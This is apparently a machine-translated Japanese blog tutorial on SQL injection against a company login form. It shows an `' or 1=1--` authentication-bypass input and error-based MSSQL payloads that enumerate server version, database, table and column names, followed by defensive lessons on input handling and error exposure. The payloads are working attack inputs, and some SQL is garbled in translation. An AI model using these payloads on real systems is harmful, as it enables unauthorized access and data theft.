会社 Web サイトのログイン ボックスは次のとおりです:
アカウントのパスワードに加えて、会社名の入力ボックスもあることがわかります。 、入力ボックスの形式によると、SQL が次のように書かれていると推測するのは難しくありません:
SELECT * From Table WHERE Name='XX' and Password='YY' and Corp='ZZ'
最初の 2 つはいくつかのチェックを行っていることがわかりましたが、3 番目の入力ボックスは無視されています。抜け穴はここにあります。インジェクションが開始されます。 入力ボックスに次の内容を入力します:
ユーザー名をランダムに入力し、パスワードを空白のままにして、ログイン ボタン をクリックしてログインします。最終的な SQL を見ると、その理由がわかります:
SELECT * From Table WHERE Name='SQL inject' and Password='' and Corp='' or 1=1--'
コードからわかるように、一重引用符の前半は閉じられており、一重引用符の後半は "- でコメント化されています。 -"。中央には常に true となる追加の条件があります。"1=1"。これにより、任意のキャラクターのログインが成功します。 SQL インジェクションの害は匿名ログインだけではありません。
ここで、3 番目の入力ボックスに「‘ or 1=(SELECT @@version) –」と入力します。以下の通りです:
バックグラウンドSQLは次のようになります:
SELECT * From Table WHERE Name='SQL inject' and Password='' and Corp='' or 1=(SELECT @@VERSION)--'
この書き方では必ずエラーが発生しますが、意図した通りのエラーになります。クリックしてログインすると、次の情報がページに表示されました:
Conversion failed when converting the nvarchar value 'Microsoft SQL Server 2008 (SP3) - 10.0.5500.0 (X64) Sep 21 2011 22:45:45 Copyright (c) 1988-2008 Microsoft Corporation Developer Edition (64-bit) on Windows NT 6.1 <X64> (Build 7601: Service Pack 1) ' to data type int.
サーバーのオペレーティング システムと SQL Server のバージョン情報が実際にはエラーによって表示されました。
次に、入力ボックスに次の情報を入力します: "t' or 1=(SELECT top 1 name FROM master ..sysdatabases where name not in (SELECT top 0 name FROM master..sysdatabases))--" この時点で、3 番目の入力ボックスには文字長制限があることがわかりました。ただし、このクライアント側の制限は無駄です。 Google Chrome から直接削除できます。
クリックしてログインすると、返される情報は次のとおりです:
Conversion failed when converting the nvarchar value 'master' to data type int.
例外によりデータベース名「master」が表示されます。上記の SQL ステートメントのシリアル番号を順番に変更すると、サーバー上のすべてのデータベースの名前を取得できます。
次に、次のように情報を入力します: "b' or 1=(SELECT top 1 name FROM master..sysobject where xtype='U' and name not in (SELECT top 1 name FROM master..sysobjects where xtype ='U'))--"
返される情報は次のとおりです:
Conversion failed when converting the nvarchar value 'spt_fallback_db' to data type int.
マスター データベースの最初のテーブル名を取得しました: 上記と同じ「spt_fallback_db」。シリアル番号を順番に変更することで、 、データベース内のすべてのテーブル名を取得できます。
ここで、「spt_fallback_db」テーブルを例として、テーブル内のすべてのフィールド名を取得してみます。入力ボックスに次のコードを入力します: "b' または 1=(SELECT 上位 1 の master..syscolumns.name FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master ..sysobjects.name='spt_fallback_db');"
それで、次のようなエラーメッセージが表示されます:
"Conversion failed when converting the nvarchar value 'xserver_name' to data type int.";
このようにすると、最初のフィールド名「xserver_name」が出てきます。シーケンス番号を順番に変更することで、すべてのフィールド名をトラバースできます。
ここまで書いてきて、すべてのデータベース、テーブル、フィールドは SQL インジェクションを通じて取得できることがわかりました。この記事が完全にインジェクション チュートリアルになるのを防ぐために、データを取得するためのコードは使用されません。これ以上説明すると、この記事の目的は達成されました。SQL インジェクションとは何を意味しますか? データベース内のすべてのデータが盗まれる可能性があることを意味します。
危険性を知った後でも SQL インジェクションの脆弱性を無視できる人がいるでしょうか?
セキュリティに関して、この記事では次の点を要約できます:
ユーザーが入力した内容には常に注意してください。
クライアント側の検証のみが検証なしと同等です。
サーバーエラーメッセージをユーザーに公開しないでください。
さらに、いくつかの点を追加したいと思います:
SQL インジェクションは、入力ボックスだけでなく、URL を通じてもその目的を達成できます。
サーバーエラーページ以外にも、データベース情報を取得する方法があります。
ソフトウェアを介してインジェクション動作をシミュレートすると、思ったよりもはるかに速く情報を盗むことができます。
脆弱性は言語プラットフォームとは何の関係もありません。aspだけがインジェクション脆弱性を持っているわけではありませんが、asp.netにはインジェクション脆弱性がないのです。すべては設計者が注意しているかどうかにかかっています。
【関連する推奨事項】
1. 特別な推奨事項: 「php Programmer Toolbox」V0.1 バージョンのダウンロード
2. SQL インジェクションを防ぐには? SQLインジェクションを防ぐ5つの方法を紹介
3. 4.SQLインジェクション脆弱性ドラッグライブラリの使用例を共有
以上がSQL インジェクションのプロセス例を共有するの詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。